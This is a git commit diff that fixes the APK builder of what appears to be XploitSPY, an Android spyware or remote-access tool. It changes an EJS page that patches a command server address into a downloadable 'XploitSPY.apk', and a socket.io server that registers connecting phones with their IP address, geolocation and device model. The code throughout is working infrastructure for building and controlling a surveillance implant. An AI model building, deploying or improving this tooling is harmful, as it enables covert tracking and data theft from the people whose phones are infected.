Fix bug in APK Builder

This commit is contained in:
keerthimalan 2020-04-23 11:58:58 +05:30
parent 8be1e2f7d8
commit 46c997a55f
2 changed files with 133 additions and 140 deletions

View File

@ -1,21 +1,17 @@
<!DOCTYPE html> <!DOCTYPE html>
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0" />
<html> <html>
<% include partials/head.ejs %>
<% include partials/head.ejs %>
<body> <body>
<div class="ui container"> <div class="ui container">
<% include partials/header.ejs %> <% include partials/header.ejs %> <% include partials/disclaimer.ejs %>
<% include partials/disclaimer.ejs %>
<div class="ui segment"> <div class="ui segment">
<div id="dimmer" class="ui dimmer"> <div id="dimmer" class="ui dimmer">
<div class="ui indeterminate text loader" id="loadingText">Submitting</div> <div class="ui indeterminate text loader" id="loadingText">Submitting</div>
</div> </div>
<h1 class="ui" style="text-align: center">APK Builder</h1> <h1 class="ui" style="text-align: center;">APK Builder</h1>
<div class="ui form" id="form"> <div class="ui form" id="form">
<div class="inline fields"> <div class="inline fields">
<div class="six wide field"> <div class="six wide field">
@ -23,14 +19,18 @@
<div class="ui label"> <div class="ui label">
http:// http://
</div> </div>
<input type="text" id="uriInput" placeholder="IP / Public URL" title="This is the public url of your server (domain.com)"> <input
type="text"
id="uriInput"
placeholder="IP / Public URL"
title="This is the public url of your server (domain.com)"
/>
</div> </div>
</div> </div>
<!-- <div class="two wide field"> <!-- <div class="two wide field">
<label>:</label> <label>:</label>
<input type="number" id="portInput" placeholder="PORT" min="2048" max="25565" title="This is the `control_port` set in the consts" value="<%= myPort %>"> <input type="number" id="portInput" placeholder="PORT" min="2048" max="25565" title="This is the `control_port` set in the consts" value="<%= myPort %>">
</div> --> </div> -->
</div> </div>
<div class="inline fields"> <div class="inline fields">
<div class="eight wide field"> <div class="eight wide field">
@ -39,15 +39,15 @@
</div> </div>
</div> </div>
<div class="ui form" id="download" style="display: none"> <div class="ui form" id="download" style="display: none;">
<div class="inline fields"> <div class="inline fields">
<div class="eight wide field"> <div class="eight wide field">
<a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"><i <a class="blue ui fluid button" download="XploitSPY.apk" href="/build-aligned-signed.apk"
class="download icon"></i>Download</a> ><i class="download icon"></i>Download</a
>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
<style> <style>
@ -58,12 +58,12 @@
<script> <script>
var loadingTexts = [ var loadingTexts = [
"Decompiling APK", 'Decompiling APK',
"Patching Server Information", 'Patching Server Information',
"Compiling APK", 'Compiling APK',
"Signing APK", 'Signing APK',
"Verifying Build", 'Verifying Build',
"Finalizing" 'Finalizing',
]; ];
document.getElementById('uriInput').value = window.location.hostname; document.getElementById('uriInput').value = window.location.hostname;
@ -72,36 +72,32 @@
var isDone = false; var isDone = false;
$('#gobuild').click((e) => { $('#gobuild').click((e) => {
$('#dimmer').addClass('active'); $('#dimmer').addClass('active');
build($('#uriInput').val(), "80"); build($('#uriInput').val(), '80');
setTimeout(loaderText, 500); setTimeout(loaderText, 500);
}); });
function loaderText() { function loaderText() {
var nextTimeout = Math.floor(Math.random() * 1500) + 700; var nextTimeout = Math.floor(Math.random() * 1500) + 700;
$('#loadingText').text(loadingTexts[loadingIndex]); if (loadingIndex < loadingTexts.length) $('#loadingText').text(loadingTexts[loadingIndex++]);
loadingIndex++; if (loadingIndex !== loadingTexts.length && !isDone) setTimeout(loaderText, nextTimeout);
if (loadingIndex !== loadingTexts.length) setTimeout(loaderText, nextTimeout); else if (loadingIndex === loadingTexts.length && !isDone) setTimeout(loaderText, 300);
else else
while (isDone) { while (isDone) {
isDone = false; isDone = false;
$('#dimmer').fadeOut(500, () => { $('#dimmer').fadeOut(500, () => {
$('#download').removeClass('active'); $('#download').removeClass('active');
}) });
$('#form').fadeOut(500, () => { $('#form').fadeOut(500, () => {
$('#download').fadeIn(200); $('#download').fadeIn(200);
}) });
} }
} }
function build(URI, PORT) { const build = async (URI, PORT) => {
$.post("/builder?uri=" + URI + "&port=" + PORT, function(data) { let data = await $.post('/builder?uri=' + URI + '&port=' + PORT);
if (!data.error) { if (!data.error) isDone = true;
isDone = true else showNotification('#f03434', data.error);
} else showNotification('#f03434', data.error) };
});
}
</script> </script>
<% include partials/footer.ejs %> <% include partials/footer.ejs %>
</body> </body>
</html> </html>

View File

@ -4,19 +4,18 @@
* By Team XploitWizer * By Team XploitWizer
*/ */
const express = require('express'),
const
express = require('express'),
app = express(), app = express(),
server = require('http').createServer(app), server = require('http').createServer(app),
IO = require('socket.io')(server), IO = require('socket.io')(server),
path = require('path'), path = require('path'),
geoip = require('geoip-lite'), geoip = require('geoip-lite'),
CONST = require(path.join(__dirname,'/includes/const')), CONST = require(path.join(__dirname, '/includes/const')),
db = require(path.join(__dirname,'/includes/databaseGateway')), db = require(path.join(__dirname, '/includes/databaseGateway')),
logManager = require(path.join(__dirname, '/includes/logManager')), logManager = require(path.join(__dirname, '/includes/logManager')),
clientManager = new(require(path.join(__dirname, '/includes/clientManager')))(db), clientManager = new (require(path.join(__dirname, '/includes/clientManager')))(db),
apkBuilder = require(path.join(__dirname, '/includes/apkBuilder')) apkBuilder = require(path.join(__dirname, '/includes/apkBuilder'));
port = process.env.PORT || CONST.web_port;
global.CONST = CONST; global.CONST = CONST;
global.db = db; global.db = db;
@ -37,7 +36,7 @@ IO.on('connection', (socket) => {
let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1); let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1);
let clientGeo = geoip.lookup(clientIP); let clientGeo = geoip.lookup(clientIP);
if (!clientGeo) clientGeo = {} if (!clientGeo) clientGeo = {};
clientManager.clientConnect(socket, clientParams.id, { clientManager.clientConnect(socket, clientParams.id, {
clientIP, clientIP,
@ -45,31 +44,29 @@ IO.on('connection', (socket) => {
device: { device: {
model: clientParams.model, model: clientParams.model,
manufacture: clientParams.manf, manufacture: clientParams.manf,
version: clientParams.release version: clientParams.release,
} },
}); });
if (CONST.debug) { if (CONST.debug) {
var onevent = socket.onevent; var onevent = socket.onevent;
socket.onevent = function(packet) { socket.onevent = function (packet) {
var args = packet.data || []; var args = packet.data || [];
onevent.call(this, packet); // original call onevent.call(this, packet); // original call
packet.data = ["*"].concat(args); packet.data = ['*'].concat(args);
onevent.call(this, packet); // additional call to catch-all onevent.call(this, packet); // additional call to catch-all
}; };
socket.on("*", function(event, data) { socket.on('*', function (event, data) {
console.log(event); console.log(event);
console.log(data); console.log(data);
}); });
} }
}); });
// get the admin interface online // get the admin interface online
// app.listen(CONST.web_port); // app.listen(CONST.web_port);
server.listen(process.env.PORT || CONST.web_port) server.listen(port, () => console.log(`listening on port ${port}`));
app.set('view engine', 'ejs'); app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, '/assets/views')); app.set('views', path.join(__dirname, '/assets/views'));